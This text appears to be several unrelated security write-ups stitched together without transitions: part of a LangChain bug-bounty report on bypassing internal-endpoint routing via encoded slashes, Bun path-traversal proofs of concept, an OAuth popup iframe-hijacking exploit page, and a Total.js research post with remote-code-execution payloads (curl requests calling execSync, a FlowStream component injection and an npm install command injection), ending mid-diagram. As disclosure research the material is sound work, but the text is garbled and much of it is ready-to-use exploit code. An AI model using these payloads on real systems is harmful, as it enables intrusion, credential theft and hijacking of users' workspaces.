                "name": "ANTHROPIC_API_KEY",
                "value": "sk-ant-api03-...",
                "value_from": "secret",
                "type": "secret"
            }, {
                "name": "GOOGLE_APPLICATION_CREDENTIALS_JSON",
                "value": "{   \"type\": \"service_account\", ... \"universe_domain\": \"googleapis.com\" }",
                "value_from": "secret",
                "type": "secret"
            }],
            // ...
        },
        // ...
    }
},
// ...
]

The response was 200 OK and listed arbitrary projects from other users, including numerous secrets for third-party services. Using the same service key, I gained access to other internal endpoints /internal/v2/deployments, /internal/v1/revisions, and /v2/auth/admin/*. This provided read and write access to projects, deployments, and revisions of any users.

Request routing and URL encoding bypass

After reporting the vulnerability, I was haunted by the question why encoding characters in internal didn’t lead to the same bypass as encoding /. I went to the nginx documentation and here’s what the documentation states about location matching:

The matching is performed against a normalized URI, after decoding the text encoded in the “%XX” form, resolving references to relative path components “.” and “..”, and possible compression of two or more adjacent slashes into a single slash.

This explained why /interna%6c/v1/projects didn’t work - nginx decoded %6C before searching for a matching location. But why didn’t %2F get decoded? I couldn’t find evidence of special matching rules for slashes, so I spun up a local environment with the location below to test nginx routing.

location /foo/ {
    proxy_pass http://backend:1234;
}

This location matches requests with paths like /foo/ or /foo/anything and proxies them to the backend - a simple web server that printed request paths to stdout. I encoded the last character in foo and the following slash and sent a request to /fo%6F%2Fbar. nginx successfully matched and routed it to the backend. The backend received a request with path /fo%6F%2Fbar. nginx decoded the path, matched it to the location and proxied the request to the backend with the raw path. This wasn’t the behaviour I observed in the cloud. I played with different nginx configurations, but I couldn’t reproduce the behaviour where requests to /internal and /internal/anything return 403 and requests to /internalanything and /internal%2Fanything are passed to the backend. This indicated that nginx wasn’t the cause of the routing bypass.

This pointed to another component in the request processing chain, likely a load balancer, that enabled the exploitation. This mystery bothered me so much that I reached out to the LangChain team, who kindly shared additional details. It turned out that routing is performed by a GCP Load Balancer, with nginx only used to return 403 responses for requests to internal endpoints. This can be represented by the following high-level diagram:

When GCP Load Balancer receives a request with a path that matches /internal/*, it routes the request to nginx that returns the 403 response; otherwise, the request is routed further to Backend Services.

With the answer in hand, I wanted to learn more about load balancer’s routing behaviour and reproduce what I had observed. I started by reading the Application Load Balancer documentation to better understand the implementation details. One of the first things I paid attention to was the load balancer’s architecture:

The architecture defines a processing chain with the following components:

• Forwarding Rule: Acts as the frontend entry point, matching incoming traffic by IP address, port, and protocol to direct it toward Target Proxy.
• Target Proxy: Terminates the client connection, handling TLS decryption for HTTPS, and hands the parsed HTTP request off to URL Map.
• URL Map: The routing engine that evaluates the request’s Host header and URL path to determine which Backend Service should receive the traffic.
• Backend Service: Manages the destination infrastructure (VMs or containers) by distributing traffic to healthy instances and maintaining stability via health checks and capacity balancing.

The most interesting component here is the URL Map, which is described in detail in the URL maps overview page. This component routes requests to corresponding backends or falls back to a default backend if no rules match. URL Map provides quite extensive configuration options for both request matching and request/response processing, including wildcards, regex patterns, query parameter matching, host/path rewriting, redirects, and header manipulation. For example, the URL Map configuration for Host Backend can be reproduced as follows:

name: host-backend-match
# Specifies the default backend service to use
# if no other rules in the URL map match the incoming request.
defaultService: projects/project_id/global/backendServices/default-service
# Defines a list of rules for matching the host header of incoming requests.
hostRules:
  - pathMatcher: host-backend-matcher
    hosts:
      - api.host.langchain.com
# Defines a list of named path matchers.
pathMatchers:
  - name: host-backend-matcher
    # Sets the default service for this path matcher.
    # This service is used if a request matches the host rule
    # but doesn't match any of the routeRules within this path matcher.
    defaultService: projects/project_id/global/backendServices/host-backend
    routeRules:
      - priority: 1
        matchRules:
          # Matches requests to "/internal/*".
          - prefixMatch: "/internal/"
        # Directs traffic to Nginx that returns the 403 response.
        service: projects/project_id/global/backendServices/nginx-403

While reading the URL maps overview page, I came across the following note about flexible pattern matching under the “Wildcards, regular expressions, and dynamic URLs in path rules and prefix match” section:

Requests are not percent-encoding normalized. For example, a URL with a percent-encoded slash character (%2F) is not decoded into the unencoded form.

I re-read this several times, but that didn’t make the situation any less confusing. Does this mean matching is performed on raw data, or are some characters still URL-decoded? Given the observed behaviour, some characters must still be decoded before processing. To test this, I deployed an application load balancer in GCP with the following URL map configuration:

name: test-match
defaultService: projects/project_id/global/backendServices/default-service
hostRules:
  - pathMatcher: test-matcher
    hosts:
      - foobar.site
pathMatchers:
  - name: matcher
    routeRules:
      # Redirects requests with the "/foo/*" path to the "foo.site" host.
      - priority: 1
        matchRules:
          - prefixMatch: /foo/
        urlRedirect:
          hostRedirect: foo.site
          stripQuery: false
          redirectResponseCode: MOVED_PERMANENTLY_DEFAULT
      # Redirects requests with the "/*" path to the "root.site" host.
      - priority: 2
        matchRules:
          - prefixMatch: /
        urlRedirect:
          hostRedirect: root.site
          stripQuery: false
          redirectResponseCode: MOVED_PERMANENTLY_DEFAULT
    # Default redirect if no rules matched.
    defaultUrlRedirect:
      hostRedirect: default.site
      httpsRedirect: true
      redirectResponseCode: MOVED_PERMANENTLY_DEFAULT

First, I checked that the routing was working as expected.

curl -i -H "Host: foobar.site" "http://lbip:80"

HTTP/1.1 301 Moved Permanently
location: http://root.site/

curl -i -H "Host: foobar.site" "http://lbip:80/foo/anything"

HTTP/1.1 301 Moved Permanently
location: http://foo.site/foo/anything

Everything looked great. Next, I validated what happens during matching /fooanything and /foo%2Fanything.

curl -i -H "Host: foobar.site" "http://lbip:80/fooanything"

HTTP/1.1 301 Moved Permanently
location: http://root.site/fooanything

curl -i -H "Host: foobar.site" "http://lbip:80/foo%2Fanything"

HTTP/1.1 301 Moved Permanently
location: http://root.site/foo%2Fanything

In both cases, requests were routed to the root.site, which corresponds to the behaviour observed in the cloud. This confirmed that the load balancer doesn’t decode %2F before matching, unlike nginx. However, what about other characters? I encoded o in the path and sent the request to /fo%6F/anything:

curl -i -H "Host: foobar.site" "http://lbip:80/fo%6F/anything"

HTTP/1.1 301 Moved Permanently
location: http://foo.site/foo/anything

The load balancer routed the request to foo.site, indicating that some characters are URL decoded before processing. Testing with other percent-encoded characters revealed that only the following were decoded:

• %2D (-)
• %2E (.)
• %30 (0) - %39 (9)
• %41 (A) - %5A (Z)
• %5F (_)
• %61 (a) - %7A (z)
• %7E (~)

These correspond to unreserved characters as defined in RFC 3986. GCP’s load balancer only normalises these unreserved characters during path matching, which means characters like %2F remain encoded. In contrast, nginx normalises the entire URI and decodes %2F to / before location matching.

The impact

This vulnerability potentially exposed deployment configurations and associated environment variables, which may include credentials for cloud providers and third-party services.

Takeaways

Parsing differences enable bypasses. Different components in the request processing chain can parse data differently. In this case, GCP’s load balancer only normalised unreserved characters in the URL path, while FastAPI (via Uvicorn) decoded the entire path including %2F. This inconsistency allowed %2F to bypass the load balancer’s routing restrictions while still reaching the intended endpoint in the backend. Inconsistencies in data handling across components can often introduce unexpected attack vectors.

Least privilege violations create exploitation opportunities. The service key with sub set to unspecified granted almost unlimited access across endpoints, especially when combined with the default behaviour of Authorize adding ServiceIdentity.UNSPECIFIED to allowed_services. Entities with privileges beyond their necessary scope frequently become valuable gadgets in exploitation chains.

Network-level controls alone are insufficient. Relying solely on reverse proxy or load balancer routing rules to protect internal endpoints creates single points of failure. Misconfigurations, parsing inconsistencies, or SSRF vulnerabilities can bypass these controls. If an internal component’s access is restricted only by frontend routing without proper authentication, it presents a promising research target.

Verbose responses expose attack surface. API responses can contain excessive data beyond what clients need. In this case, the thread state endpoint included an internal service token in the metadata field. Always inspect HTTP traffic carefully, responses may leak sensitive data, configuration details, or implementation specifics that enable further exploitation.

Shared trust boundaries expose internal systems. Deployed agents use the same authentication mechanism as internal service-to-service communication, despite having different levels of trust. This architectural decision exposed internal credentials to user-controlled components. When components with different trust levels are placed within the same trust boundary, explore whether the less trusted components can be leveraged to attack the more trusted ones.

The fix

The LangChain team fixed the vulnerability on the same day it was reported. The fix introduced the following changes:

• %2F is blocked on WAF and requests with paths like /internal%2Fv1/projects return 403.
• X-Service-Key is excluded from the threads response in a deployed agent.
• Authorize(...) no longer adds ServiceIdentity.UNSPECIFIED to allowed_services by default, which prevents service keys with sub set as unspecified having almost unlimited access to endpoints.

Disclosure timeline

• 30/11/25 - Initial report sent to the LangChain team.
• 30/11/25 - Fix was applied.
• 01/12/25 - Initial response from the team.
• 13/01/26 - Bounty awarded.

Beyond the parser desync, a secondary “Partial Path Collision” exists in common validation logic. Because startsWith is a string-based operation rather than a segment-aware path operation, an attacker can move “sideways” into sibling directories that share a naming prefix with the intended root. While Bun’s URL parser sanitizes .. segments in the primary path, raw inputs handled via query parameters or custom headers remain vulnerable. A request for ../public_backup/ resolved via path.normalize() will satisfy a security check for /public because the string “public_backup” starts with “public.” To remediate, developers must terminate the root path with a separator or use segment-aware validation like path.relative().

PoC 1 — Bun Normalization Desync (Slacker Slash)

import { serve } from "bun";
import { join } from "node:path";

await Bun.write("admin_secret.txt", "FLAG{BUN_ARCHITECTURAL_DESYNC}");

serve({
  port: 3000,
  async fetch(req) {
    const path = new URL(req.url).pathname;

    // Guard: literal check — misses '//admin_secret.txt'
    if (path.startsWith("/admin_secret.txt")) {
      return new Response("Forbidden", { status: 403 });
    }

    try {
      const resolvedPath = join(process.cwd(), path);
      return new Response(await Bun.file(resolvedPath).text());
    } catch {
      return new Response("Not Found", { status: 404 });
    }
  },
});

PoC 2 — Partial Path Collision (Query Parameter)

import { serve } from "bun";
import { join, normalize } from "node:path";

const ROOT = join(process.cwd(), "public");

serve({
  port: 3001,
  async fetch(req) {
    const url = new URL(req.url);
    const userInput = url.searchParams.get("file") || "";

    const normalized = normalize(join(ROOT, userInput));

    // VULNERABLE: Matches "public_backup" because it starts with "public"
    if (!normalized.startsWith(ROOT)) {
      return new Response("Forbidden", { status: 403 });
    }

    try {
      return new Response(await Bun.file(normalized).text());
    } catch {
      return new Response("Not Found", { status: 404 });
    }
  },
});

Test Commands

# Run PoC 1 (server.ts) for tests 1 and 2
# 1. Double-slash bypass (Slacker Slash)
curl "http://localhost:3000//admin_secret.txt"

# 2. Backslash bypass (Bun converts \ to / per spec)
curl "http://localhost:3000/\admin_secret.txt"

# Run PoC 2 (server2.ts) for test 3
# 3. Partial Path Collision (Sibling directory escape via query param)
curl "http://localhost:3001/?file=../public_backup/config.txt"

TL;DR: A predictable window.open() target name in [REDACTED]’s OAuth flow allowed attackers to hijack the authorization popup via iframe name collision. This enabled me to force victims to unknowingly link attacker-controlled marketplace addons to their workspace, exposing workspace owner PII and configuration data.

Background: What Is the window.open Target?

From MDN Web Docs:

A string, without whitespace, specifying the name of the browsing context the resource is being loaded into. If the name doesn’t identify an existing context, a new context is created and given the specified name. The special target keywords _self, _blank (default), _parent, _top, and _unfencedTop can also be used.

This name can be used as the target attribute of <a> or <form> elements.

How Can We Use This Against an Application?

This is where iframe hijacking comes into play.

The attack works as follows:

1. Set up an attacker-controlled page containing an <iframe> with a pre-chosen name that matches the name the target application will pass to window.open().
2. When the victim visits this attacker page and triggers the OAuth flow (any action calling window.open(url, "thepredictedname")), the browser looks for an existing browsing context with that name.
3. It finds ours the attacker’s iframe and loads the popup inside it instead of opening a new window.
4. The attacker iframe now holds a reference to what the application believes is its trusted popup. From here, we exploit the relationship between the popup and the victim page.

The Vulnerability

The vulnerability exists in an addons feature where users can link additional capabilities to their account. The application allows preset integrations (Slack, Zoom, etc.) and custom ones from marketplace.redacted.com. To link an account, the user clicks “Connect” and authorizes through a marketplace OAuth flow.

Here’s the relevant source code:

async function p(e, n) {
    // Fetch OAuth URL from backend API
    let l = await N(e, n);
    
    // Extract trusted origin from redirect_uri parameter found in the initiateAddonsoauth url in the response
    let r = function(e) {
        var n;
        let i = new URL(e);
        return new URL(null != (n = i.searchParams.get("redirect_uri")) ? n : "").origin
    }(l);
    
    let k = null;
    
    // postMessage listener for OAuth callback
    let p = n => {
        var l, d, u, m;
        let N = n.data;
        
        (0, v.l$)(N, "type") && "oauth_response_complete" === N.type && 
        (0, v.l$)(N, "payload") && (
            
            // SECURITY CHECK: Validate origin matches redirect_uri origin
            //                 Validate source is our popup window
            r === n.origin && n.source === k
            
        ) && ((t.getState() === o.m.Pending && N.payload.auth && !N.payload.hasError) ? (
            t.resolve(N.payload.auth),
            window.removeEventListener("message", p)
        ) : void 0)
    };
    
    window.addEventListener("message", p);
    
    // VULNERABLE: Static window name allows iframe hijacking
    k = function(e) {
        let n = (screen.width - 640) / 2
          , i = screen.height / 2 - 287.5;
        return window.open(e, "addons-oauthWindow",
            `menubar=no,toolbar=no,status=no,width=640,height=575,left=${n},top=${i}`)
    }(l);
    
    ...
}

The application:

1. Makes an API call to get a valid authorizeUrl
2. Parses the redirect_uri from it and stores the origin as r:

   return new URL(null != (n = i.searchParams.get("redirect_uri")) ? n : "").origin
   

3. Opens a popup with a hardcoded, predictable target name:

   return window.open(e, "addons-oauthWindow", `menubar=no,toolbar=no,...`)
   

4. Sets a postMessage listener with these security checks:

   r === n.origin && n.source === k
   

   • r === n.origin — verifies the message comes from the expected OAuth redirect origin
   • n.source === k — verifies the message comes from the popup window reference

Normal Authorization Flow

When authorization completes, the callback page sends a postMessage to window.opener (app.redacted.com):

<html>

<body>
    <script type="text/javascript">
        try {
            if (window.opener) {
                
                window.opener.postMessage({
                    type: 'providerAuthPopupComplete'
                }, '*');
                
                window.opener.console.log({
                    "session_auth": {
                        "id": 101,
                        "clientID_": null,   
                        "client_rev": null,
                        "error_log": {},
                        "revision_id": 99122766,
                        "created_at": "2026-01-22T01:40:26.000Z",
                        "updated_at": "2026-02-16T20:28:40.000Z",
                        "apiUsageCount": 0,  
                        "access_allow": true,
                        "limit_cap": 0,
                        "user_email": "x@example.com", 
                        "full_name": "John Doe",                
                        "display_nick": null,
                        "providerID_": null,
                        "unique_uid": "x123456789hash",         
                        "username": null,
                        "internalUser_ID": 1
                    }
                });
                
                
                window.opener.__oauthCallback__({
                    "session_auth": {
                        "id": 101,
                        "clientID_": null,
                        "client_rev": null,
                        "error_log": {},
                        "revision_id": 99122766,
                        "created_at": "2026-01-22T01:40:26.000Z",
                        "updated_at": "2026-02-16T20:28:40.000Z",
                        "apiUsageCount": 0,
                        "access_allow": true,
                        "limit_cap": 0,
                        "user_email": "x@example.com",
                        "full_name": "John Doe",
                        "display_nick": null,
                        "providerID_": null,
                        "unique_uid": "x123456789hash",
                        "username": null,
                        "internalUser_ID": 1
                    }
                }, false);
                window.close();
            }
        } catch (e) {
           
            const allowedOrigins = [
                "https://app.redacted.com", 
                "https://calendar.redacted.com", 
                "https://developer.redacted.com", 
                "https://marketplace.redacted.com", 
                "https://web.redacted.com",  
                "https://integrations.redacted.com", 
                "https://login.redacted.com"
            ];
            
            allowedOrigins.forEach(
                (origin) => window.opener.postMessage({
                        type: 'oauth_response_complete',
                        payload: {
                            "session_auth": {
                                "id": 101,
                                "clientID_": null,
                                "client_rev": null,
                                "error_log": {},
                                "revision_id": 99887766,
                                "created_at": "2026-01-22T01:40:26.000Z",
                                "updated_at": "2026-02-16T20:28:40.000Z",
                                "apiUsageCount": 0,
                                "access_allow": true,
                                "limit_cap": 0,
                                "user_email": "victim_user@example.com",
                                "full_name": "John Doe",
                                "display_nick": null,
                                "providerID_": null,
                                "unique_uid": "x123456789hash",
                                "username": null,
                                "internalUser_ID": 1
                            }
                        },
                        hasError: false
                    },
                    origin
                )
            );
            window.close();
        }
    </script>
</body>

</html>

The flow looks secure the postMessage listener has strict origin and source checks. So how do we exploit it?

The trick: hijack the popup so it loads in our iframe, then change iframe.src to our attacker callback forcing the victim to link our marketplace addon to their workspace.

Building the Exploit

STEP 1: The CSP Barrier

For iframe hijacking to work, we need to create an iframe that shares the same origin as the page calling window.open() with the predictable target name. Browsers scope named browsing contexts by origin an iframe at attacker.com won’t collide with a window name lookup from app.redacted.com.

So we need to iframe something under app.redacted.com. The problem? The application enforces a strict Content Security Policy preventing framing. Even 404 pages return proper frame-ancestors directives.

After enumeration, I discovered that static JavaScript files served from paths like /static/*.js returned relaxed CSP headers that omitted frame-ancestors. This meant we could create an iframe pointing to one of these JS files:

<iframe
    id="hijackFrame"
    name="addons-oauthWindow"
    src="https://app.redacted.com/static/chunk.a1b2c3d4.js">
</iframe>

The iframe now exists under app.redacted.com’s origin with the target window name pre-registered in the browser’s browsing context.

STEP 2: Capturing the Attacker Callback

Before weaponizing the hijack, we need a valid OAuth callback URL tied to an attacker-controlled marketplace addon:

1. Create a malicious addon in the marketplace with permissions to access workspace data
2. Initiate the OAuth flow from the attacker’s own account
3. Complete authentication and intercept the final callback URL before it executes
4. Store this URL it contains the authorization code that will link the addon to whoever triggers it

• the callback call doesn’t have a csp which is the case for everything under /api

  STEP 3: Timing the Redirect

The final piece is detecting when the popup gets hijacked and redirecting at the right moment. When window.open() resolves to our iframe instead of a new window, the OAuth authorization page loads inside it. We detect this via the onload event and immediately redirect to our captured callback:

<!DOCTYPE html>
<html>
<head>
    <title>OAuth Hijack PoC</title>
</head>
<body>
    <button onclick="startAttack()">Open App</button>

    <iframe
        id="hijackFrame"
        name="addons-oauthWindow"
        src="https://app.redacted.com/static/chunk.a1b2c3d4.js"
        style="width:640px; height:575px;">
    </iframe>

    <script>
        const attackerCallback = "https://api.redacted.com/api/auth/callback?code=ATTACKER_CODE&state=ATTACKER_STATE";

        function startAttack() {
            // Open the legitimate app in a new tab
            window.open("https://app.redacted.com/workspace/addons");

            const frame = document.getElementById("hijackFrame");
            let hijacked = false;

            frame.onload = function() {
                if (hijacked) return;
                hijacked = true;

                // OAuth page just loaded in our iframe redirect to attacker callback
                frame.src = attackerCallback;
            };
        }
    </script>
</body>
</html>

Why the Intermediate CSP Doesn’t Matter

One might assume the attack fails because the OAuth authorization page (marketplace.redacted.com/oauth/authorize) also has framing protections. It does but this is irrelevant.

The browser maintains the iframe’s relationship with the opener window regardless of whether intermediate pages load successfully. When the authorization page blocks itself from framing, the iframe errors out but the browsing context persists. We simply wait for any load event and redirect to the callback endpoint, which sits under /api and lacks these protections.

The callback page then executes normally, sending its postMessage to window.opener which still points to the victim’s legitimate app tab.

The Complete Attack Chain

And now after the attack is done. we can access the victim workspace configuration, Workspace users PII, and make some actions that will affect the workspace from the market API .

The root cause is the use of a static, predictable string ("addons-oauthWindow") as the window.open target name. Randomizing this value per-session would fully remediate the vulnerability.

-alienisgrinding

In this article, I’ll walk you through some security vulnerabilities recently found in Total.js framework versions 4 and 5. If you’re not familiar with it, Total.js is a full-stack Node.js framework built entirely in pure JavaScript with zero external dependencies. That self-contained design is great for keeping your supply chain clean, but the framework itself has its share of serious security issues over the years, including code injection, prototype pollution, and sandbox escapes that chain nicely into Remote Code Execution (CVE-2020-28495, CVE-2021-23344, CVE-2021-31760).

There’s a lot more attack surface worth digging into here, but I picked a few RCE paths that caught my eye and went down the rabbit hole. If I had to pick a favorite one, I would go for the U.set()/U.get() path as the one that really got me excited ;)

Alright, enough intro, let’s dive into the findings.

TextDB/NoSQL Query Builder

Description: The .rule() method in TextDB/NoSQL database allows arbitrary JavaScript filter expressions that are evaluated using new Function(). When user input reaches this method without sanitization, it results in Remote Code Execution.

Location: textdb-builder.js / NoSQL query engine

API vs Internal Sinks

The vulnerability exists at two levels:

• Exposed API:

• Internal QueryBuilder Sinks (Compile user code via new Function()):

Note: .update()/.modify() wrapper has potential injection via = prefix: db.update({'=field': 'PAYLOAD'}) concatenates value directly. Requires developer to pass user-controlled object.

Vulnerable Code Path:

// API Layer (textdb-wrapper.js)
db.find().rule(userInput)  // Pushes raw code to options.filter

// Internal Sink (textdb-builder.js)
QueryBuilder.filter() → new Function('doc', 'return ' + code)  // Executes!

TotalJS attempted to protect these methods with a weak blacklist:

// textdb-builder.js:608-609
function isdangerous(rule) {
return (/require|global/).test(rule);
}

This only blocks the literal strings “require” and “global”. We bypass the blacklist using:

RCE Payloads

Non-Blind RCE

The simplest and most powerful technique. Since process is available in the .rule() scope, only require needs to be bypassed. Command output is returned directly in the JSON response by assigning to a document property:

Via curl (inline output):

curl -s -G "http://localhost:8000/api/assets/search/" \
--data-urlencode "filter=doc.type=process.mainModule['req'+'uire']('child_process').execSync('id').toString()"

Response:

{"success":true,"count":1,"data":[{"id":"...","type":"uid=0(root) gid=0(root)...\n",...}]}

Blind RCE (Alternative - File Write)

Uses doc.constructor.constructor to access Function constructor when process is not directly usable:

Via curl (write to file):

curl -s -G "http://localhost:8000/api/assets/search/" \
--data-urlencode "filter=doc.constructor.constructor('return process')().mainModule['req'+'uire']('child_process').execSync('id>/tmp/pwned')"

Note: Use curl -G --data-urlencode for proper URL encoding of the payload.

Attack Flow

┌─────────────────────────────────────────────────────────────────────┐
│                                                                     │
│   ATTACKER                         TARGET SERVER                    │
│                                                                     │
│   ┌──────────┐    HTTP Request     ┌────────────────────────────┐   │
│   │          │ ----------------->  │ GET /api/search?filter=... │   │
│   │ Crafted  │                     └────────────────────────────┘   │
│   │ Payload  │                                 │                    │
│   └──────────┘                                 ▼                    │
│                                    ┌────────────────────────────┐   │
│                                    │  Controller extracts       │   │
│                                    │  filter from query params  │   │
│                                    └────────────────────────────┘   │
│                                                │                    │
│                                                ▼                    │
│                                    ┌────────────────────────────┐   │
│                                    │  db.find().rule(filter)    │   │
│                                    │  [textdb-wrapper.js:785]   │   │
│                                    └────────────────────────────┘   │
│                                                │                    │
│                                                ▼                    │
│                                    ┌────────────────────────────┐   │
│                                    │  options.filter.push(code) │   │
│                                    │  [stores raw user input]   │   │
│                                    └────────────────────────────┘   │
│                                                │                    │
│                                                ▼                    │
│                                    ┌────────────────────────────┐   │
│                                    │  QueryBuilder.filter()     │   │
│                                    │  [textdb-builder.js:274]   │   │
│                                    └────────────────────────────┘   │
│                                                │                    │
│                                                ▼                    │
│                                    ┌────────────────────────────┐   │
│                                    │  isdangerous() check:      │   │
│                                    │  /require|global/.test()   │   │
│                                    │                            │   │
│                                    │   × BYPASSED - doesn't     │   │
│                                    │    block 'process'         │   │
│                                    └────────────────────────────┘   │
│                                                │                    │
│                                                ▼                    │
│                                    ┌────────────────────────────┐   │
│                                    │  new Function('doc',       │   │
│                                    │    'return ' + code)       │   │
│                                    │                            │   │
│                                    │ => PAYLOAD COMPILED        │   │
│                                    └────────────────────────────┘   │
│                                                │                    │
│                                                ▼                    │
│                                    ┌────────────────────────────┐   │
│                                    │  Function executed for     │   │
│                                    │  each document in query    │   │
│                                    │                            │   │
│                                    │  doc.type = execSync('id') │   │
│                                    └────────────────────────────┘   │
│                                                │                    │
│                                                ▼                    │
│   ┌──────────┐    HTTP Respons     ┌────────────────────────────┐   │
│   │ Command  │ <------------------ │  {"data":[{"type":         │   │
│   │ Output   │                     │   "uid=0(root)..."}]}      │   │
│   └──────────┘                     └────────────────────────────┘   │
│                                                                     │
└─────────────────────────────────────────────────────────────────────┘

FlowStream Component

Description: FlowStream is TotalJS’s visual flow-based automation system. The flow.add() method accepts component definitions containing arbitrary JavaScript code wrapped in <script total> tags. This code is executed via new Function() without sandboxing.

Location: flowstream.js:677, flowstream.js:1842

Vulnerable Code:

// flowstream.js:677
declaration = new Function('instance', declaration);

// flowstream.js:1842
fn = new Function('exports', 'require', node);

Exploitation:

POST /api/automations/components/
Content-Type: application/json

{
"name": "pwned",
"component": "<script total>require('child_process').execSync('id > /tmp/pwned');exports.make=function(){};</script>"
}

Attack Flow

┌─────────────────────────────────────────────────────────────────────┐
│                                                                     │
│   ATTACKER                         TARGET SERVER                    │
│                                                                     │
│   ┌──────────┐    HTTP Request     ┌────────────────────────────┐   │
│   │  POST    │ ----------------->  │ POST /api/automations/     │   │
│   │  JSON    │                     │      components/           │   │
│   │  Body    │                     └────────────────────────────┘   │
│   └──────────┘                                  │                   │
│                                                 ▼                   │
│        │ {                         ┌────────────────────────────┐   │
│        │  "name":"pwned",          │  Controller receives JSON  │   │
│        │  "component":"<script     │  body with component def   │   │
│        │   total>require(...)      └────────────────────────────┘   │
│        │   </script>"                           │                   │
│        │ }                                      ▼                   │
│                                    ┌────────────────────────────┐   │
│                                    │  flow.add(name, component) │   │
│                                    │  [controller calls API]    │   │
│                                    └────────────────────────────┘   │
│                                                  │                  │
│                                                  ▼                  │
│                                    ┌────────────────────────────┐   │
│                                    │  FP.register()             │   │
│                                    │  [flowstream.js:662]       │   │
│                                    └────────────────────────────┘   │
│                                                  │                  │
│                                                  ▼                  │
│                                    ┌────────────────────────────┐   │
│                                    │  new Function('instance',  │   │
│                                    │    declaration)            │   │
│                                    │  [flowstream.js:677]       │   │
│                                    │                            │   │
│                                    │ => PAYLOAD COMPILED        │   │
│                                    └────────────────────────────┘   │
│                                                  │                  │
│                                                  ▼                  │
│                                    ┌────────────────────────────┐   │
│                                    │  new Function('exports',   │   │
│                                    │    'require', node)        │   │
│                                    │  [flowstream.js:1842]      │   │
│                                    │                            │   │
│                                    │  require() passed directly!│   │
│                                    └────────────────────────────┘   │
│                                                  │                  │
│                                                  ▼                  │
│                                    ┌────────────────────────────┐   │
│                                    │  require('child_process')  │   │
│                                    │  .execSync('id > /tmp/x')  │   │
│                                    │                            │   │
│                                    │ => COMMAND EXECUTION       │   │
│   ┌──────────┐    HTTP Response    └────────────────────────────┘   │
│   │ Success  │ <-----------------  {"success":true}                 │
│   └──────────┘                                                      │
│                                                                     │
└─────────────────────────────────────────────────────────────────────┘

NPMINSTALL Command Injection (via FlowStream)

Description: The NPMINSTALL() function concatenates user input directly into a shell command without sanitization. While not directly exposed via HTTP routes, it is called by FlowStream when components specify npm dependencies via exports.npm. This creates an exploitable chain through FlowStream component registration.

Location: index.js:395

Vulnerable Code:

// index.js:395
F.Child.exec('npm install ' + name, args, function(err, response, output) {
callback && callback(err ? (output || err) : null);
});

Attack Chain:

1. FlowStream component registration (flow.add())
2. Component sets exports.npm = ["malicious; command"]
3. FlowStream iterates npm array and calls NPMINSTALL() for each
4. Shell command injection achieved

Exploitation:

POST /api/automations/components/
Content-Type: application/json

{
"name": "pwned",
"component": "<script total>exports.npm=[\"x]||id>/tmp/npm_pwned||[\"];exports.make=function(){};</script>"
}

Shell execution:

npm install x]||id>/tmp/npm_pwned||[
#            ↑ fails, then || executes next command

Attack Flow

┌─────────────────────────────────────────────────────────────────────┐
│                                                                     │
│   ATTACKER                         TARGET SERVER                    │
│                                                                     │
│   ┌──────────┐    HTTP Request     ┌────────────────────────────┐   │
│   │  POST    │ ----------------->  │ POST /api/automations/     │   │
│   │  JSON    │                     │      components/           │   │
│   │  Body    │                     └────────────────────────────┘   │
│   └──────────┘                                  │                   │
│                                                 ▼                   │
│        │ {                         ┌────────────────────────────┐   │
│        │  "component":"<script     │  Component registered      │   │
│        │   total>exports.npm=      │  with malicious npm deps   │   │
│        │   ['x||id>/tmp/pwned']    └────────────────────────────┘   │
│        │   </script>"                           │                   │
│        │ }                                      ▼                   │
│                                    ┌────────────────────────────┐   │
│                                    │  FlowStream processes      │   │
│                                    │  exports.npm array         │   │
│                                    └────────────────────────────┘   │
│                                                  │                  │
│                                                  ▼                  │
│                                    ┌────────────────────────────┐   │
│                                    │  NPMINSTALL() called for   │   │
│                                    │  each npm dependency       │   │
│                                    │  [index.js:395]            │   │
│                                    └────────────────────────────┘   │
│                                                  │                  │
│                                                  ▼                  │
│                                    ┌────────────────────────────┐   │
│                                    │  F.Child.exec(             │   │
│                                    │    'npm install ' + name)  │   │
│                                    │                            │   │
│                                    │  No sanitization!          │   │
│                                    └────────────────────────────┘   │
│                                                  │                  │
│                                                  ▼                  │
│                                    ┌────────────────────────────┐   │
│                                    │  Shell executes:           │   │
│                                    │  npm install x||id>/tmp..  │   │
│                                    │              ↑             │   │
│                                    │  npm fails, then id runs!  │   │
│                                    │                            │   │
│                                    │ => COMMAND INJECTION       │   │
│                                    └────────────────────────────┘   │
│                                    /tmp/pwned contains 'uid=0..'    │
│                                                                     │
└─────────────────────────────────────────────────────────────────────┘

View Engine SSTI

Description: TotalJS view templates use @{expression} syntax. During compilation, these expressions are concatenated into a JavaScript function string and executed via eval(). If an attacker can write to view files(./views/) (via path traversal or file upload vulnerability), they achieve RCE when the view is rendered. (same logic as in my previous CT Research Lab article related to ASP.NET MVC View Engine and Write Path Traversal to a RCE Art Department)

Location: internal.js:1138

Vulnerable Code:

// internal.js:1136-1138
var fn = ('(function(self,repository,model,...){' + builder + ';return $output;})');
fn = eval(fn);  // Executes compiled template

Attack Chain:

1. Exploit file write vulnerability (path traversal, arbitrary upload, etc.)
2. Write malicious view to /views/ directory:

   @{process.mainModule.require('child_process').execSync('id > /tmp/pwned')}
   

3. Trigger HTTP request that renders the view
4. RCE achieved during view compilation

Attack Flow

┌─────────────────────────────────────────────────────────────────────┐
│                                                                     │
│   ATTACKER                         TARGET SERVER                    │
│                                                                     │
│   ┌──────────┐                     ┌────────────────────────────┐   │
│   │  Step 1  │ ----------------->  │ Exploit file write vuln    │   │
│   │  Write   │   Path Traversal    │ (upload, path traversal)   │   │
│   │  View    │   or File Upload    └────────────────────────────┘   │
│   └──────────┘                                  │                   │
│        │                                        ▼                   │
│        │ @{process.mainModule      ┌────────────────────────────┐   │
│        │   .require('child_...')   │  Malicious view written    │   │
│        │   .execSync('id')}        │  to /views/evil.html       │   │
│        │                           └────────────────────────────┘   │
│        │                                                            │
│        ▼                                                            │
│   ┌──────────┐                     ┌────────────────────────────┐   │
│   │  Step 2  │ ----------------->  │ GET /evil                  │   │
│   │  Trigger │   HTTP Request      │ (triggers view render)     │   │
│   │  Render  │                     └────────────────────────────┘   │
│   └──────────┘                                  │                   │
│                                                 ▼                   │
│                                    ┌────────────────────────────┐   │
│                                    │  this.view('evil')         │   │
│                                    │  [controller renders]      │   │
│                                    └────────────────────────────┘   │
│                                                  │                  │
│                                                  ▼                  │
│                                    ┌────────────────────────────┐   │
│                                    │  viewEngineCompile()       │   │
│                                    │  [internal.js]             │   │
│                                    │                            │   │
│                                    │  Parses @{...} expressions │   │
│                                    └────────────────────────────┘   │
